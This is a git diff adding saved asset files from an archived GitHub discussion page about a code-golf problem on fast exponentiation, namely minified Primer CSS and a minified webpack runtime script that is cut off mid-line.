!important;margin:8px}.Popover-message>.btn-octicon{padding:12px !important}.Popover-message::after,.Popover-message::before{display:none}}.Progress{display:flex;height:8px;overflow:hidden;background-color:var(--color-neutral-muted);border-radius:6px;outline:1px solid transparent}.Progress--large{height:10px}.Progress--small{height:5px}.Progress-item{outline:2px solid transparent}.Progress-item+.Progress-item{margin-left:2px}.SelectMenu{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:flex;padding:16px;pointer-events:none;flex-direction:column}@media(min-width: 544px){.SelectMenu{position:absolute;top:auto;right:auto;bottom:auto;left:auto;padding:0}}.SelectMenu::before{position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;content:"";background-color:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.SelectMenu::before{display:none}}.SelectMenu-modal{position:relative;z-index:99;display:flex;max-height:66%;margin:auto 0;overflow:hidden;pointer-events:auto;flex-direction:column;background-color:var(--color-canvas-overlay);border:1px solid var(--color-select-menu-backdrop-border);border-radius:12px;box-shadow:var(--color-shadow-large);animation:SelectMenu-modal-animation .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}@keyframes SelectMenu-modal-animation{0%{opacity:0;transform:scale(0.9)}}@keyframes SelectMenu-modal-animation--sm{0%{opacity:0;transform:translateY(-16px)}}@media(min-width: 544px){.SelectMenu-modal{width:300px;height:auto;max-height:480px;margin:8px 0 16px 0;font-size:12px;border-color:var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large);animation-name:SelectMenu-modal-animation--sm}}.SelectMenu-header{display:flex;padding:16px;flex:none;align-items:center;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-header{padding:7px 7px 7px 16px}}.SelectMenu-title{flex:1;font-size:14px;font-weight:600}@media(min-width: 544px){.SelectMenu-title{font-size:inherit}}.SelectMenu-closeButton{padding:16px;margin:-16px;line-height:1;color:var(--color-fg-muted);background-color:transparent;border:0}@media(min-width: 544px){.SelectMenu-closeButton{padding:8px;margin:-8px -7px}}.SelectMenu-filter{padding:16px;margin:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-filter{padding:8px}}.SelectMenu-input{display:block;width:100%}@media(min-width: 544px){.SelectMenu-input{font-size:14px}}.SelectMenu-list{position:relative;padding:0;margin:0;margin-bottom:-1px;flex:auto;overflow-x:hidden;overflow-y:auto;background-color:var(--color-canvas-overlay);-webkit-overflow-scrolling:touch}.SelectMenu-item{display:flex;align-items:center;width:100%;padding:16px;overflow:hidden;color:var(--color-fg-default);text-align:left;cursor:pointer;background-color:var(--color-canvas-overlay);border:0;border-bottom:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-item{padding-top:7px;padding-bottom:7px}}.SelectMenu-list--borderless .SelectMenu-item{border-bottom:0}.SelectMenu-icon{width:16px;margin-right:8px;flex-shrink:0}.SelectMenu-icon--check{visibility:hidden;transition:transform .12s cubic-bezier(0.5, 0.1, 1, 0.5),visibility 0s .12s linear;transform:scale(0)}.SelectMenu-tabs{display:flex;flex-shrink:0;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:touch}.SelectMenu-tabs::-webkit-scrollbar{display:none}@media(min-width: 544px){.SelectMenu-tabs{padding:8px 8px 0 8px}}.SelectMenu-tab{flex:1;padding:8px 16px;font-size:12px;font-weight:500;color:var(--color-fg-muted);text-align:center;background-color:transparent;border:0;box-shadow:inset 0 -1px 0 var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab{flex:none;padding:4px 16px;border:1px solid transparent;border-bottom-width:0;border-top-left-radius:6px;border-top-right-radius:6px}}.SelectMenu-tab[aria-selected=true]{z-index:1;color:var(--color-fg-default);cursor:default;background-color:var(--color-canvas-overlay);box-shadow:0 0 0 1px var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-tab[aria-selected=true]{border-color:var(--color-border-muted);box-shadow:none}}.SelectMenu-message{padding:7px 16px;text-align:center;background-color:var(--color-canvas-overlay);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-blankslate,.SelectMenu-loading{padding:24px 16px;text-align:center;background-color:var(--color-canvas-overlay)}.SelectMenu-divider{padding:4px 16px;margin:0;font-size:12px;font-weight:500;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider{border-top:1px solid var(--color-border-muted)}.SelectMenu-list--borderless .SelectMenu-divider:empty{padding:0;border-top:0}.SelectMenu-footer{z-index:0;padding:8px 16px;font-size:12px;color:var(--color-fg-muted);text-align:center;border-top:1px solid var(--color-border-muted)}@media(min-width: 544px){.SelectMenu-footer{padding:7px 16px}}.SelectMenu--hasFilter .SelectMenu-modal{height:80%;max-height:none;margin-top:0}@media(min-width: 544px){.SelectMenu--hasFilter .SelectMenu-modal{height:auto;max-height:480px;margin-top:8px}}.SelectMenu-closeButton:focus,.SelectMenu-tab:focus,.SelectMenu-item:focus{outline:0}.SelectMenu-item:hover{text-decoration:none}.SelectMenu-item[aria-checked=true]{font-weight:500;color:var(--color-fg-default)}.SelectMenu-item[aria-checked=true] .SelectMenu-icon--check{visibility:visible;transition:transform .12s cubic-bezier(0, 0, 0.2, 1),visibility 0s linear;transform:scale(1)}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-primer-fg-disabled);pointer-events:none}@media(hover: hover){body:not(.intent-mouse) .SelectMenu-closeButton:focus,.SelectMenu-closeButton:hover{color:var(--color-fg-default)}.SelectMenu-closeButton:active{color:var(--color-fg-muted)}body:not(.intent-mouse) .SelectMenu-item:focus,.SelectMenu-item:hover{background-color:var(--color-neutral-subtle)}.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}body:not(.intent-mouse) .SelectMenu-tab:focus{background-color:var(--color-select-menu-tap-focus-bg)}.SelectMenu-tab:hover{color:var(--color-fg-default)}.SelectMenu-tab:not([aria-selected=true]):active{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}}@media(hover: none){.SelectMenu-item:focus,.SelectMenu-item:active{background-color:var(--color-canvas-subtle)}.SelectMenu-item{-webkit-tap-highlight-color:var(--color-select-menu-tap-highlight)}}.Subhead{display:flex;padding-bottom:8px;margin-bottom:16px;border-bottom:1px solid var(--color-border-muted);flex-flow:row wrap;justify-content:flex-end}.Subhead--spacious{margin-top:40px}.Subhead-heading{font-size:24px;font-weight:400;flex:1 1 auto;order:0}.Subhead-heading--danger{font-weight:600;color:var(--color-danger-fg)}.Subhead-description{font-size:14px;color:var(--color-fg-muted);flex:1 100%;order:2}.Subhead-actions{margin:4px 0 4px 4px;align-self:center;justify-content:flex-end;order:1}.Subhead-actions+.Subhead-description{margin-top:4px}.TimelineItem{position:relative;display:flex;padding:16px 0;margin-left:16px}.TimelineItem::before{position:absolute;top:0;bottom:0;left:0;display:block;width:2px;content:"";background-color:var(--color-border-muted)}.TimelineItem:target .TimelineItem-badge{border-color:var(--color-accent-emphasis);box-shadow:0 0 .2em var(--color-accent-muted)}.TimelineItem-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-15px;color:var(--color-fg-muted);align-items:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.TimelineItem-badge--success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.TimelineItem-body{min-width:0;max-width:100%;margin-top:4px;color:var(--color-fg-muted);flex:auto}.TimelineItem-avatar{position:absolute;left:-72px;z-index:1}.TimelineItem-break{position:relative;z-index:1;height:24px;margin:0;margin-bottom:-16px;margin-left:-56px;background-color:var(--color-canvas-default);border:0;border-top:4px solid var(--color-border-default)}.TimelineItem--condensed{padding-top:4px;padding-bottom:0}.TimelineItem--condensed:last-child{padding-bottom:16px}.TimelineItem--condensed .TimelineItem-badge{height:16px;margin-top:8px;margin-bottom:8px;color:var(--color-fg-muted);background-color:var(--color-canvas-default);border:0}.Toast{display:flex;margin:8px;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-radius:6px;box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}@media(min-width: 544px){.Toast{width:max-content;max-width:450px;margin:16px}}.Toast-icon{display:flex;align-items:center;justify-content:center;width:48px;flex-shrink:0;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border:1px solid transparent;border-right:0;border-top-left-radius:inherit;border-bottom-left-radius:inherit}.Toast-content{padding:16px}.Toast-dismissButton{max-height:54px;padding:16px;color:inherit;background-color:transparent;border:0}.Toast-dismissButton:hover{opacity:.7}.Toast-dismissButton:active{opacity:.5}.Toast--loading{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--loading .Toast-icon{background-color:var(--color-neutral-emphasis)}.Toast--error{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--error .Toast-icon{background-color:var(--color-danger-emphasis)}.Toast--warning{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--warning .Toast-icon{background-color:var(--color-attention-emphasis)}.Toast--success{color:var(--color-fg-default);box-shadow:inset 0 0 0 1px var(--color-border-default),var(--color-shadow-large)}.Toast--success .Toast-icon{background-color:var(--color-success-emphasis)}.Toast--animateIn{animation:Toast--animateIn .18s cubic-bezier(0.22, 0.61, 0.36, 1) backwards}@keyframes Toast--animateIn{0%{opacity:0;transform:translateY(100%)}}.Toast--animateOut{animation:Toast--animateOut .18s cubic-bezier(0.55, 0.06, 0.68, 0.19) forwards}@keyframes Toast--animateOut{100%{pointer-events:none;opacity:0;transform:translateY(100%)}}.Toast--spinner{animation:Toast--spinner 1000ms linear infinite}@keyframes Toast--spinner{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}.ToggleSwitch.ToggleSwitch{display:inline-flex}.ToggleSwitch{align-items:center;display:inline-flex;gap:8px}.ToggleSwitch:hover .ToggleSwitch-knob{background-color:var(--color-btn-hover-bg)}.ToggleSwitch:active .ToggleSwitch-knob{background-color:var(--color-btn-active-bg)}.ToggleSwitch--checked .ToggleSwitch-statusOn{height:auto;visibility:visible}.ToggleSwitch--checked .ToggleSwitch-statusOff{height:0;visibility:hidden}.ToggleSwitch-track{position:relative;display:block;width:64px;height:32px;padding:0;overflow:hidden;text-decoration:none;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:var(--color-switch-track-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:background-color,border-color;-webkit-appearance:none;appearance:none}.ToggleSwitch-track:focus,.ToggleSwitch-track:focus-visible{outline-offset:0}@media(pointer: coarse){.ToggleSwitch-track::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:44px;content:"";transform:translateX(-50%) translateY(-50%)}}@media(prefers-reduced-motion){.ToggleSwitch-track{transition:none}.ToggleSwitch-track *{transition:none}}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]{background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active{background-color:var(--color-canvas-subtle)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-checked=true][aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true][aria-disabled=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-disabled-bg)}.ToggleSwitch-track[aria-checked=true]{background-color:var(--color-switch-track-checked-bg);border-color:var(--color-switch-track-checked-border)}.ToggleSwitch-track[aria-checked=true]:hover{background-color:var(--color-switch-track-checked-hover-bg)}.ToggleSwitch-track[aria-checked=true]:active{background-color:var(--color-switch-track-checked-active-bg)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-knob{background-color:var(--color-switch-knob-checked-bg);border:0;transform:translateX(calc(100% + 1px))}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-lineIcon{transform:translateX(0%)}.ToggleSwitch-track[aria-checked=true] .ToggleSwitch-circleIcon{transform:translateX(100%)}.ToggleSwitch-track[aria-disabled=true]{cursor:not-allowed;background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle);transition-property:none}.ToggleSwitch-track[aria-disabled=true]:hover .ToggleSwitch-knob,.ToggleSwitch-track[aria-disabled=true]:active .ToggleSwitch-knob{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob{border-color:var(--color-border-default);box-shadow:none}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:hover,.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-knob:active{background-color:var(--color-btn-bg)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-lineIcon{color:var(--color-fg-subtle)}.ToggleSwitch-track[aria-disabled=true] .ToggleSwitch-circleIcon{color:var(--color-fg-subtle)}.ToggleSwitch-icons{display:flex;align-items:center;width:100%;height:100%;overflow:hidden}.ToggleSwitch-lineIcon{line-height:0;color:var(--color-accent-fg);transition-duration:80ms;transition-property:transform;transform:translateX(-100%);flex:1 0 50%}.ToggleSwitch-circleIcon{line-height:0;color:var(--color-fg-default);transition-duration:80ms;transition-property:transform;transform:translateX(0);flex:1 0 50%}.ToggleSwitch-knob{position:absolute;top:-1px;bottom:-1px;z-index:1;width:50%;background-color:var(--color-btn-bg);border:1px solid var(--color-switch-track-border);border-radius:6px;box-shadow:var(--color-shadow-medium),var(--color-btn-inset-shadow);transition-timing-function:cubic-bezier(0.5, 1, 0.89, 1);transition-duration:80ms;transition-property:transform;transform:translateX(-1px)}@media(prefers-reduced-motion){.ToggleSwitch-knob{transition:none}}.ToggleSwitch-status{position:relative;font-size:14px;line-height:1.5;color:var(--color-fg-default);text-align:right}.ToggleSwitch--small .ToggleSwitch-status{font-size:12px}.ToggleSwitch--small .ToggleSwitch-track{width:48px;height:24px}.ToggleSwitch--disabled .ToggleSwitch-status{color:var(--color-fg-muted)}.ToggleSwitch-statusOn{height:0;visibility:hidden}.ToggleSwitch-statusOff{height:auto;visibility:visible}.ToggleSwitch--statusAtEnd{flex-direction:row-reverse}.ToggleSwitch--statusAtEnd .ToggleSwitch-status{text-align:left} + +/*# sourceMappingURL=primer-048cfb03804d.css.map*/ \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js new file mode 100644 index 0000000..3c9544b --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js @@ -0,0 +1,4 @@ +(()=>{var S=Object.defineProperty;var u=(g,b)=>S(g,"name",{value:b,configurable:!0});(()=>{"use strict";var g={},b={};function t(e){var o=b[e];if(o!==void 0)return o.exports;var _=b[e]={id:e,loaded:!1,exports:{}};return g[e].call(_.exports,_,_.exports,t),_.loaded=!0,_.exports}u(t,"__webpack_require__"),t.m=g,(()=>{var e=[];t.O=(o,_,a,n)=>{if(_){n=n||0;for(var s=e.length;s>0&&e[s-1][2]>n;s--)e[s]=e[s-1];e[s]=[_,a,n];return}for(var p=1/0,s=0;s=n)&&Object.keys(t.O).every(H=>t.O[H](_[i]))?_.splice(i--,1):(r=!1,n{var o=e&&e.__esModule?()=>e.default:()=>e;return t.d(o,{a:o}),o},(()=>{var e=Object.getPrototypeOf?_=>Object.getPrototypeOf(_):_=>_.__proto__,o;t.t=function(_,a){if(a&1&&(_=this(_)),a&8||typeof _=="object"&&_&&(a&4&&_.__esModule||a&16&&typeof _.then=="function"))return _;var n=Object.create(null);t.r(n);var s={};o=o||[null,e({}),e([]),e(e)];for(var p=a&2&&_;typeof p=="object"&&!~o.indexOf(p);p=e(p))Object.getOwnPropertyNames(p).forEach(r=>s[r]=()=>_[r]);return s.default=()=>_,t.d(n,s),n}})(),t.d=(e,o)=>{for(var _ in o)t.o(o,_)&&!t.o(e,_)&&Object.defineProperty(e,_,{enumerable:!0,get:o[_]})},t.f={},t.e=e=>Promise.all(Object.keys(t.f).reduce((o,_)=>(t.f[_](e,o),o),[])),t.u=e=>e==="vendors-node_modules_selector-observer_dist_index_esm_js"?""+e+"-8a8fb532f817.js":e==="vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"?""+e+"-c86dedecba6d.js":e==="vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"?""+e+"-3878570f122b.js":e==="app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"?""+e+"-b9402c4f55ed.js":e==="vendors-node_modules_lit-html_lit-html_js"?""+e+"-ba8ef7c9465c.js":e==="vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"?""+e+"-338b7b65f61e.js":e==="vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"?""+e+"-12cdb93781b2.js":e==="vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"?""+e+"-d2bd677ffadf.js":e==="app_assets_modules_github_behaviors_pjax_ts"?""+e+"-9f84f27e2e5c.js":e==="vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"?""+e+"-e5871d6341d9.js":e==="vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"?""+e+"-c50ba3159c37.js":e==="vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"?""+e+"-316d55757fd3.js":e==="vendors-node_modules_codemirror_lib_codemirror_js"?""+e+"-0e675a3cbbdb.js":e==="vendors-node_modules_three_build_three_module_js"?""+e+"-d26576a099b1.js":e==="vendors-node_modules_dompurify_dist_purify_js"?""+e+"-0677fca37991.js":"chunk-"+e+"-"+{"vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js":"ffef934f6d1e","vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js":"20ded1c3f9b2","_empty-file_js-app_assets_modules_github_tweetsodium_ts":"570800e4a58c","app_assets_modules_github_jump-to_ts":"9bb6962425bc","app_assets_modules_github_user-status-submit_ts":"b84397a4ac61","vendors-node_modules_github_blackbird-parser_dist_blackbird_js":"edcc67677b51","app_components_search_parsing_parsing_ts-_b3651":"aa493d973ae3","app_assets_modules_github_sortable-behavior_ts":"cd5461703766","app_components_accessibility_animated-image-element_ts":"94f17dc1685d","app_components_account_verifications_launch-code-element_ts":"d0fd2937b212","app_components_advisories_metric-selection-element_ts":"4daf4af581d1","app_components_advisories_severity-calculator-element_ts":"420add2d60b0","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52":"27a93e9feadc","app_components_branch_create-branch-element_ts":"47c73f958638","app_components_code_scanning_alert-dismissal-details-element_ts":"bfe6b385324e","app_components_codespaces_advanced_options_sku-list-element_ts":"ceaa5115fdcc","app_components_codespaces_create-button-element_ts":"d1ca5c6d0c0b","app_components_command_palette_command-palette-page-element_ts":"529a5c0079af","app_components_command_palette_command-palette-page-stack-element_ts":"51f9b6fbafdf","app_components_diffs_deferred-diff-lines-element_ts":"74cc226b15d7","app_components_files_readme-toc-element_ts":"1e5835991a94","app_components_github_delayed-loading-element_ts":"f1de276bb7aa","app_components_github_feature-callout-element_ts":"2e2e8020e6ac","app_components_issues_reopen-button-element_ts":"8528a7c35aa7","app_components_mathjax_math-renderer-element_ts":"b9b794ce9879","app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts":"d970b5ecb0bb","app_components_organizations_settings_codespaces-policy-form-element_ts":"1e572db4e753","app_components_organizations_settings_features_insights-form-element_ts":"fb80816ea539","app_components_primer_action_list_action-list-element_ts":"79601d8e2624","app_components_primer_action_menu_action-menu-element_ts":"c2ea03248767","app_components_primer_experimental_toggle-switch-element_ts":"bc0f9dc31330","app_components_primer_modal_dialog_iterate-focusable-elements_ts":"c9e90cad64bc","app_components_primer_modal_dialog_modal-dialog-element_ts":"191000849018","app_components_pull_requests_file_tree_file-filter-element_ts":"832274f35bf2","app_components_pull_requests_file_tree_file-tree-element_ts":"f3152f4f0a04","app_components_pull_requests_file_tree_file-tree-toggle-element_ts":"ef3d053b90c4","app_components_repos_alerts_dependabot-alert-row-element_ts":"4b2c2c17a666","app_components_repos_alerts_dependabot-alert-table-header-element_ts":"7a8a0e5e816e","app_components_repositories_memex_memex-project-picker-element_ts":"53ed3ef415f5","app_components_repositories_pin-organization-repo-element_ts":"8169732f40ca",app_components_search_parsing_common_ts:"669dbaaac99c","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067":"10d0e2f3411a","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c":"2e9a9b96b433","app_components_search_search-input-element_ts":"c662cde7b457",app_components_search_suggestions_blackbird_ts:"9d3f0b9a1660","app_components_search_suggestions_custom-scopes_ts":"df25852e3ad8",app_components_search_suggestions_default_ts:"1e7083750a58","app_components_search_suggestions_fixed-qualifiers_ts":"f3da35af54f7",app_components_search_suggestions_history_ts:"5b7778d3b8d2",app_components_search_suggestions_languages_ts:"f8f91a6927a5","node_modules_delegated-events_dist_index_js":"a5f42cedc533",app_components_search_suggestions_suggestions_ts:"07b36587481e",app_components_search_suggestions_types_ts:"916e3d8c45b4","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e":"625e7dd04142","app_components_sidebar_project-picker-element_ts":"a7445ee5bcf3","app_components_slash_commands_slash-command-toolbar-button-element_ts":"447765607cc3","vendors-node_modules_chart_js_dist_chart_esm_js":"6cff96b2b76c","app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts":"5b02ffbbc782","app_components_stafftools_turbo_turbo-staffbar-element_ts":"22fa02e1f021","app_components_stafftools_turbo_turbo-staffbar-preview-element_ts":"302a5111f0a7","app_components_themed_pictures_themed-picture-element_ts":"9f2cc0c8b0fc","app_components_tracking_blocks_tracking-block-api_ts":"d2edfcc3fd5a","app_components_tracking_blocks_tracking-block-element_ts":"1bf94db855a2","app_components_tracking_blocks_tracking-block-omnibar-element_ts":"f776363d9b1c","app_assets_modules_github_profile_profile-pins-element_ts":"3f9eaf9c1f60","app_assets_modules_github_emoji-picker-element_ts":"5eb690ad8ba2","app_assets_modules_github_behaviors_edit-hook-secret-element_ts":"5517e7abe783","app_assets_modules_github_insights_insights-query_ts":"1d49b290a0a9","app_assets_modules_github_behaviors_remote-clipboard-copy_ts":"5ec315b1456a","app_assets_modules_github_insights_series-table_ts":"88c40e967d3d","vendors-node_modules_github_base-chart-element_dist_base-chart_js":"527a851d4dfc","app_assets_modules_github_insights_line-chart_ts":"ea9f86c8b7ce","app_assets_modules_github_insights_bar-chart_ts":"79b8bed29df1","app_assets_modules_github_insights_column-chart_ts":"5086ae8267a3","app_assets_modules_github_insights_stacked-area-chart_ts":"f2b10cc42f1b","app_assets_modules_github_presence_presence-avatars_ts":"68eea861e2bd","app_assets_modules_github_graphs_pulse-authors-graph-element_ts":"555a0a12a2af","app_assets_modules_github_stacks_stacks-input-config-view_ts":"52b337e4e085","app_assets_modules_github_graphs_community-contributions_ts":"d1497b6d575f","app_assets_modules_github_graphs_discussion-page-views_ts":"b7b14d0a8e16","app_assets_modules_github_graphs_discussions-daily-contributors_ts":"ae3978791f6f","app_assets_modules_github_graphs_discussions-new-contributors_ts":"b53affc543a7","app_assets_modules_github_graphs_code-frequency-graph-element_ts":"bb79cb796c54","vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js":"cb8dab829171","vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158":"b1f74f8aa268","app_assets_modules_github_graphs_contributors-graph-element_ts":"618c49878ee2","vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834":"b4d52f496960","app_assets_modules_github_graphs_org-insights-graph-element_ts":"ffb02396dbf4","app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25":"9d80281b1f30","app_assets_modules_github_graphs_traffic-clones-graph-element_ts":"cd2424a12f84","app_assets_modules_github_graphs_traffic-visitors-graph-element_ts":"0d5b216bec91","app_assets_modules_github_graphs_commit-activity-graph-element_ts":"1c205baacb3b","app_assets_modules_github_graphs_marketplace-insights-graph-element_ts":"6e57a35fbc19","vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d":"1bf929bb3d58","app_assets_modules_github_settings_user-sessions-map-element_ts":"38e2fd1a876f","app_assets_modules_github_behaviors_reload-after-polling-element_ts":"0383e1293fe8","app_assets_modules_github_graphs_package-dependencies-security-graph-element_ts":"4ba70be83c34",app_assets_modules_github_dependencies_ts:"9edfce444edb","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9":"c308a504a500","app_assets_modules_github_graphs_network-graph-element_ts":"4e7d9dc97c14","app_assets_modules_github_business-audit-log-map-element_ts":"48ea5be979d9","app_assets_modules_github_localization_inline-machine-translation-element_ts":"203846088225","app_assets_modules_github_gist_drag-drop_ts":"83cc70a31603","app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts":"e6b2becb5f85","app_assets_modules_github_profile_contributions-spider-graph_ts":"9823b871480c","app_assets_modules_github_webgl-warp_ts":"8d34dd71e14f","vendors-node_modules_mathjax_es5_tex-chtml-full_js":"e458fb3fc4c8","app_components_search_parsing_parsing_ts-_b3650":"0b181ac6599e"}[e]+".js",t.g=function(){if(typeof globalThis=="object")return globalThis;try{return this||new Function("return this")()}catch{if(typeof window=="object")return window}}(),t.o=(e,o)=>Object.prototype.hasOwnProperty.call(e,o),(()=>{var e={};t.l=(o,_,a,n)=>{if(e[o]){e[o].push(_);return}var s,p;if(a!==void 0)for(var r=document.getElementsByTagName("script"),i=0;i{s.onerror=s.onload=null,clearTimeout(m);var H=e[o];if(delete e[o],s.parentNode&&s.parentNode.removeChild(s),H&&H.forEach(f=>f(h)),c)return c(h)},"onScriptComplete"),m=setTimeout(d.bind(null,void 0,{type:"timeout",target:s}),12e4);s.onerror=d.bind(null,s.onerror),s.onload=d.bind(null,s.onload),p&&document.head.appendChild(s)}})(),t.r=e=>{typeof Symbol!="undefined"&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},t.nmd=e=>(e.paths=[],e.children||(e.children=[]),e),(()=>{var e;t.g.importScripts&&(e=t.g.location+"");var o=t.g.document;if(!e&&o&&(o.currentScript&&(e=o.currentScript.src),!e)){var _=o.getElementsByTagName("script");_.length&&(e=_[_.length-1].src)}if(!e)throw new Error("Automatic publicPath is not supported in this browser");e=e.replace(/#.*$/,"").replace(/\?.*$/,"").replace(/\/[^\/]+$/,"/"),t.p=e})(),t.sriHashes={"vendors-node_modules_selector-observer_dist_index_esm_js":"sha512-io+1MvgXPXTw8Kp4eOdNMJl8uGASuw8VfTY5VeIFETaAknimWi8GoxggMEeQ6mq0de4Dest4iIJ/9gUbCo0hgw==","vendors-node_modules_lit-html_lit-html_js":"sha512-uo73yUZcm4EicwjSbfxFZcKfjWniOxhLBp+q1n7IFRfutFM6/lzbQMgD0Xrxp7QD1HzqdvrV8UclPhi3mEOyzQ==","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe":"sha512-Es25N4GyPa8Yfp5wpahoe5b2fyPtkRMyR6mKIXyCJC0ocqQazeWvxhGZhx3StRxOfqDfHDR5SS35u/R3Wux6Cg==","vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js":"sha512-yG3t7Lpt5yKkdMNXFpl75Xemm+g4ghZ5e8xRBwl/HMbmgc3htVvxrjbohbK9MMfnnci1SnogZNH9DhJHYdQf3A==",app_assets_modules_github_behaviors_pjax_ts:"sha512-n4Tyfi5c/uwygTjsnha2QyN3+RMC8XNjYdlbvspiE6fN9tdKgsapC36CztCZX31jUoPvHY3HPpR4MaU5JZhs5Q==","vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js":"sha512-/++TT20eDLJNbF6hqcRE9Wk74AtUzJG26xP07mzhzLv81OuyBTpNhkbEMVXmzfGvVNFtdNW9+++nRzBrRDvE0w==","app_assets_modules_github_sortable-behavior_ts":"sha512-zVRhcDdmBJSH4u1VshV0m1Xv/MsVY8gEDm/mDjd2JuMmKVGL4XI6xXxteqHwrdcrnnxovc5cvbic9Ryndq0R5w==","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e":"sha512-Yl590EFCC9Ai3oBOBPGHHnFk/m1dfRZ36ed6B/COnfIrFsgDBfXJZNd3tJ4MkFqHRJkz6iaG5/8Tz1t2xgW8+Q==","app_components_sidebar_project-picker-element_ts":"sha512-p0Re5bzz6wRFJRIv2VOMGO7ZF4y1038S3tnivDySJ9vmnXsqZgZnyep/CNT8sOD3eVgHZV7OSZ8Lw9RDD1MR7g==","vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4":"sha512-x